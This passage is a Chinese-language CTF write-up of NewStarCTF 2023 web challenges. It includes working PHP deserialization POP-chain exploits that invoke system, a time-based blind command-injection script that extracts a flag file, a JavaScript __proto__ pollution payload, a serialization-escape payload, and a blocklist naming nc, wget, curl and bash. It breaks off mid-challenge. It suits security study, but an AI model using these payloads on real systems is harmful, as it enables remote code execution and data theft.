public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}
过滤了
$ . ! @ # % ^ & * ? { } > < nc tee wget exec bash sh netcat grep
base64 rev curl wget gcc php python pingtouch mv mkdir cp/i
反弹,dnslog均不行
bash盲注
import time
import requests
url = "http://737d3958-e0ab-412d-abc9-18b899a99792.node4.buuoj.cn:81/"
result = ""
for i in range(1,15):
for j in range(1,50):
#ascii码表
for k in range(32,127):
k=chr(k)
payload =f"if [ `cat /flag_is_h3eeere | awk NR=={i} | cut -c {j}` == '{k}' ];then sleep 6;fi"
length=len(payload)
payload2 ={
"payload": 'O:7:"minipop":2:{{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{{s:4:"code";s:{0}:"{1}";s:13:"qwejaskdjnlka";N;}}}}'.format(length,payload)
}
t1=time.time()
r=requests.post(url=url,data=payload2)
t2=time.time()
if t2-t1 >5:
result+=k
print(result)
result += " "
第二种解法
非预期就是直接用 ls / |script xxx
,没给权限设死
然后在当前目录
访问文件xxx
即可
POP Gadget
考点:
PHP反序列化 POP构造
疑点:
<?php
highlight_file(__FILE__);
class Begin{
public $name;
public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
private $func;
public function __toString()
{
($this->func)();
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __call($func, $vars)
{
$this->obj->end();
}
}
class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;
public function end()
{
unset($this->handle->log);
}
}
class WhiteGod{
public $func;
public $var;
public function __unset($var)
{
($this->func)($this->var);
}
}
@unserialize($_POST['pop']);
第一种方法
[0x00]分析链条
<?php
highlight_file(__FILE__);
class Begin{
public $name;//6 Then
public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
private $func;//5 Super
// 当一个对象被当作一个字符串被调用
public function __toString()
{
($this->func)();
return "Good Job!";
}
}
class Handle{
protected $obj// 3 CTF
//在对象上下文中调用不可访问(这里的没有声明包括访问控制为proteced,private的属性)的方法时触发
public function __call($func, $vars)
{
$this->obj->end();
}
}
class Super{
protected $obj;// 4 Handle
//__invoke() 当脚本尝试将对象调用为函数时触发
public function __invoke()
{
$this->obj->getStr();
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;//2 WhiteGod
public function end()
{
unset($this->handle->log);
}
}
class WhiteGod{
public $func;//1 shell system
public $var;//1 shell "ls /"
//在不可访问的属性上使用unset()时触发
public function __unset($var)
{
($this->func)($this->var);
}
}
@unserialize($_POST['pop']);
[0x01]payload:
<?php
class Begin{
public $name;
}
class Then{
public $func;
}
class Handle{
public $obj;
}
class Super{
public $obj;
}
class CTF{
public $handle;
}
class WhiteGod{
public $func;
public $var;
}
$a = new WhiteGod();
$a->func = 'system';
$a->var = 'cat /flag';
$b = new CTF();
$b->handle = $a;
$c = new Handle();
$c->obj = $b;
$d = new Super();
$d->obj = $c;
$e = new Then();
$e->func = $d;
$h = new Begin();
$h->name = $e;
echo urlencode(serialize($h));
O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A4%3A%22func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3Bs%3A3%3A%22var%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D%7D%7D%7D%7D
第二种方法
POP Gadget如下:
Begin::__destruct -> Then::__toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset
编写Exp如下:
<?php
class Begin{
public $name;
public function __construct($a)
{
$this->name = $a;
}
}
class Then{
private $func;
public function __construct($a)
{
$this->func = $a;
}
}
class Handle{
protected $obj;
public function __construct($a)
{
$this->obj = $a;
}
}
class Super{
protected $obj;
public function __construct($a)
{
$this->obj = $a;
}
}
class CTF{
public $handle;
public function __construct($a)
{
$this->handle = $a;
}
}
class WhiteGod{
public $func;
public $var;
public function __construct($a, $b)
{
$this->func = $a;
$this->var = $b;
}
}
// POP Gadget:
// Begin::__destruct -> Then::toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset
$obj = new Begin(new Then(new Super(new Handle(new CTF(new WhiteGod("readfile","/flag"))))));
echo urlencode(serialize($obj));
O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A8%3A%22readfile%22%3Bs%3A3%3A%22var%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7D%7D%7D%7D
OtenkiGirl
考点:
JavaScript 原型链污染(_proto_)
疑点:
随便提交一些信息,通过抓包或者直接查看附件的源码都能发现下面两个请求地址:
获取全部信息
POST /info/0 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
可以改变0的值就是获取到指定时间戳之后的信息
提交信息
POST /submit HTTP/1.1
Content-Type: application/json
提交信息必须为 JSON 格式,contact和reason字段是必须的,例如
>POST /submit HTTP/1.1
>Content-Type: application/json
>{
> "contact": "test",
> "reason": "test"
> }
响应
>HTTP/1.1 200 OK
>connection: close
>content-length: 159
>content-type: application/json; charset=utf-8
>date: Sun, 24 Sep 2023 07:09:54 GMT
>server: openresty
>{ "status": "success",
> "data": {
> "wishid": "2Tn69Yq5hBbTwLdihWZfdKVF",
> "date": "unknown",
> "place": "unknown",
> "contact": "test",
> "reason": "test",
> "timestamp": 1695539394820
> }
>}
查看routes/info.js
源码,考察从数据库中获取数据的函数getInfo
async function getInfo(timestamp) {
timestamp = typeof timestamp === "number" ? timestamp : Date.now();
// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
return data;
}
//存储以毫秒表示的日期时间戳的值:timestamp
其中第4行和第5行将我们传入的timestamp
做了一个过滤,使得所返回的数据不早于配置文件中的min_public_time
查看根目录下的config.js
和config.default.js
后发现config.js并没有配置min_public_time
,因此getInfo的第5行只是采用了DEFAULT_CONFIG.min_public_time
考虑原型链污染污染min_public_time
为我们想要的日期,就能绕过最早时间限制,获取任意时间的数据
查看routes/submit.js
源码,发现注入点
const merge = (dst, src) => {
if (typeof dst !== "object" || typeof src !== "object") return dst;
for (let key in src) {
if (key in dst && key in src) {
dst[key] = merge(dst[key], src[key]);
} else {
dst[key] = src[key];
}
}
return dst;
}
其中merge函数第7行存在原型链污染,因此只要考虑注入data['__proto__']``['min_public_time']
的值即可
于是构造payload
POST /submit HTTP/1.1
Content-Type: application/json
{
"contact": "test",
"reason": "test",
"__proto__": {
"min_public_time": "1001-01-01"
}
}
然后为我们再请求/info/0,就能得到更多的数据,其中一条是
{
"wishid": "L6VFppr6GDqYPELMGTNTeNZ6",
"date": "2021-09-27",
"place": "学園都市",
"contact": "御坂美琴",
"reason": "海胆のような顔をしたあいつが大覇星祭で私に負けた、彼を連れて出かけるつもりだ。彼を携帯店のカップルのイベントに連れて行きたい(イベントでプレゼントされるゲコ太は超レアだ!)晴れの日が必要で、彼を完全にやっつける!ゲコ太の抽選番号はflag{2696dfcb-5628-41a2-8947-f3f6c59aab8f}です",
"timestamp": 1190726040113
}
得到 flag
flag{2696dfcb-5628-41a2-8947-f3f6c59aab8f}
参考:
深入理解 JavaScript Prototype 污染攻击:看1-4即可
第四周
More Fast
考点:
Fast Destruct、POP构造
疑点:
再快一点我就能拿到Flag了,如果Destruct能早一点触发就好了…
<?php
highlight_file(__FILE__);
class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}
class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}
class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}
class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}
class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}
class Misc{
public function evil() {
echo "good job but nothing";
}
}
$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
Fatal error: Uncaught Exception: Nope in /var/www/html/index.php:55 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 55
构造POP链比较简单,之前的题目弄懂的话这道题构造POP也就很简单了,POP Gadget如下:
Start::__destruct -> Crypto::__toString -> Reverse::__get -> Pwn::__invoke -> Web::evil
最后一个对于flag的绕过也很简单,通配符就可以绕,方法很多,POP Gadget的Exp如下:
<?php
highlight_file(__FILE__);
class Start{
public $errMsg;
}
class Pwn{
public $obj;
}
class Reverse{
public $func;
}
class Web{
public $func;
public $var;
}
class Crypto{
public $obj;
}
$obj = new Start;
$obj -> errMsg = new Crypto;
$obj -> errMsg -> obj = new Reverse;
$obj -> errMsg -> obj -> func = new Pwn;
$obj -> errMsg -> obj -> func -> obj = new Web;
$obj -> errMsg -> obj -> func -> obj -> func = "system";
$obj -> errMsg -> obj -> func -> obj -> var = "cat /f*ag";
难点在于反序列化位点的抛出异常:
$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
这里考点在于Fast Destruct,利用GC垃圾回收机制提前触发Destruct即可,原理可以自行了解,本题利用修改数组下标的方法绕过,最终Exp如下:
<?php
highlight_file(__FILE__);
class Start{
public $errMsg;
}
class Pwn{
public $obj;
}
class Reverse{
public $func;
}
class Web{
public $func;
public $var;
}
class Crypto{
public $obj;
}
$obj = new Start;
$obj -> errMsg = new Crypto;
$obj -> errMsg -> obj = new Reverse;
$obj -> errMsg -> obj -> func = new Pwn;
$obj -> errMsg -> obj -> func -> obj = new Web;
$obj -> errMsg -> obj -> func -> obj -> func = "system";
$obj -> errMsg -> obj -> func -> obj -> var = "cat /f*ag";
$a[0] = $obj;
$a[1] = NULL;
echo str_replace("i:0","i:1",serialize($a));
// a:2:{i:1;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:9:"cat /f*ag";}}}}}i:1;N;}
参考:
php GC(垃圾回收)机制
GC2
逃
考点:
PHP反序列化字符逃逸
疑点:
她逃,他追,她插翅难飞
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}
class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}
unserialize(waf(serialize(new GetFlag($_GET['key'])))); www-data www-data
本题考查字符变长的情况,主要关注点在于:
function waf($str){
return str_replace("bad","good",$str);
}
这里我们可控的只有key的值,因此需要通过这里的字符长度的变化来修改序列化字符串,从而实现对于cmd值的控制。
举个栗子,在本题中如果我们传入badbad,正常输出的序列化字符串如下:
O:7:"GetFlag":2:{s:3:"key";s:6:"badbad";s:3:"cmd";s:6:"whoami";}
但是经过waf函数的替换后实际上传递给unserialize函数的字符串变成了:
O:7:"GetFlag":2:{s:3:"key";s:6:"goodgood";s:3:"cmd";s:6:"whoami";}
注意这里的
s:6:"goodgood";
PHP在扫描序列化字符串的时候会根据字符串长度进行扫描,也就是此时只会扫描到goodgo而多出的od"字符就会被抛弃,当然,此时的序列化字符串也因为这个原因变得不合法,因此我们需要利用这个特点来构造出合法的字符串去修改cmd的值。
例如我们想要构造的是:
O:7:"GetFlag":2:{s:3:"key";s:N:"N个长度的字符串";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}
实际上我们输入的是:
N个长度的字符串";s:3:"cmd";s:2:"ls";}
也就是说
";s:3:"cmd";s:2:"ls";}
就是我们想要逃逸出去的字符,我们希望N个长度的字符串的长度恰好到双引号之前,此时我们的输入就会作为合法的序列化数据进行处理,后续原本的 ";s:3:"cmd";s:6:"whoami";}
就会被丢弃。
我们需要插入的字符总共有22位,因此需要逃逸出22个字符,一个bad可以逃逸出1个字符,因此需要22个bad,构造Exp如下:
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}
此时实际上的反序列化数据是:
O:7:"GetFlag":2:{s:3:"key";s:88:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}
good
的长度正好为88
,而";s:3:"cmd";s:6:"whoami";}
这一段数据就会被抛弃,由此完成了对于
cmd`值的修改。
顺着这个思路只需要计算需要逃逸的字符数量即可:
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}
PharOne
考点:
Phar反序列化、gzip压缩、无回显RCE
Phar V2.0 but not seem as last year.
检查,发现class.php
,访问得到源码
<?php
highlight_file(__FILE__);
class Flag{
public $cmd;
public function __destruct()
{
@exec($this->cmd);
}
}
@unlink($_POST['file']);
结合文件上传,考虑phar反序列化;同时还是无回显RCE,用写入马和反弹shell都行
用普通的phar文件上传发现不行(jpg才行)
修改然后上传发现被正则匹配